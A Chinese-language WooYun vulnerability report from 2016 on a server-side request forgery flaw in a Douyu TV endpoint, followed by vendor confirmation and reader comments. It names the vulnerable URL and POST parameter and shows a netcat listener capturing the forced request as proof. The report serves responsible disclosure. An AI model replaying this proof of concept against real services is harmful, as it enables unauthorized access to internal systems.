当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0214325

漏洞标题：斗鱼TV某处SSRF漏洞

相关厂商：douyu.tv

漏洞作者： 猪猪侠

提交时间：2016-05-30 10:04

修复时间：2016-07-18 16:40

公开时间：2016-07-18 16:40

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-30： 细节已通知厂商并且等待厂商处理中
2016-06-03： 厂商已经确认，细节仅向厂商公开
2016-06-13： 细节向核心白帽子及相关领域专家公开
2016-06-23： 细节向普通白帽子公开
2016-07-03： 细节向实习白帽子公开
2016-07-18： 细节向公众公开

简要描述：

斗鱼TV某处SSRF漏洞
看看有多少公司认为SSRF不算漏洞

详细说明：

#服务器
http://yuba.douyu.com
#SSRF地址
http://yuba.douyu.com/url/scrapy
# 参数, POST
url=http://www.baidu.com

漏洞证明：

ssrf.png


nc -l -vv 8080
Connection from 119.90.48.56 port 8080 [tcp/webcache] accepted
GET /?123 HTTP/1.1
Host: 119.29.29.29:8080
Accept: */*

修复方案：

把用于取外网资源的API部署在不属于自己的机房

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2016-06-03 16:32

厂商回复：

感谢提供信息！！！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-30 10:09 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3148 漏洞数:626 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    猪哥要秀它ssrf框架的肌肉了

  2. 2016-05-30 10:21 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2316 漏洞数:308 | 没好团队，啥都干不成！！！)

    ppt案例来了。

  3. 2016-05-30 10:22 | 包包 ( 实习白帽子 | Rank:77 漏洞数:35 | 我是菜鸟，我怕谁？小弟新来，望大牛多多包...)

    怎么突然一下子就特别流行SSRF了。。。

  4. 2016-05-30 10:23 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5460 漏洞数:423 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @紫霞仙子 PPT案例被一哥发了

  5. 2016-05-30 10:32 | sauce ( 普通白帽子 | Rank:300 漏洞数:47 | 面向人民币编程)

    猪哥要秀它ssrf框架的肌肉了

  6. 2016-05-30 12:32 | v0yager_1ce ( 路人 | Rank:2 漏洞数:1 )

    SSRF牛

  7. 2016-05-30 14:27 | HADESIDD ( 路人 | Rank:10 漏洞数:4 | 但行好事，莫问前程)

    你关注的白帽子 猪猪侠 发表了漏洞 新浪微博某处SSRF漏洞 2016-05-30你关注的白帽子 猪猪侠 发表了漏洞 华为某分站存在SSRF漏洞 2016-05-30你关注的白帽子 猪猪侠 发表了漏洞 斗鱼TV某处SSRF漏洞 2016-05-30

  8. 2016-05-30 15:34 | lufsy ( 实习白帽子 | Rank:60 漏洞数:19 | 自由，分享，共进)

    看看有多少公司认为SSRF不算漏洞

  9. 2016-05-31 09:04 | Any3ite ( 路人 | Rank:26 漏洞数:12 | 土耳其web 国内的我就看看不说话)

    你关注的白帽子 猪猪侠 发表了漏洞 新浪微博某处SSRF漏洞 2016-05-30

  10. 2016-06-03 21:54 | 药尘 ( 路人 | Rank:26 漏洞数:12 | 申明：本人受《中国人名共和国未成年人保护...)

    看看有多少公司认为SSRF不算漏洞

  11. 2016-06-15 19:06 | Yuku ( 实习白帽子 | Rank:58 漏洞数:27 | 数据挖掘)

    想知道有没有打到shell、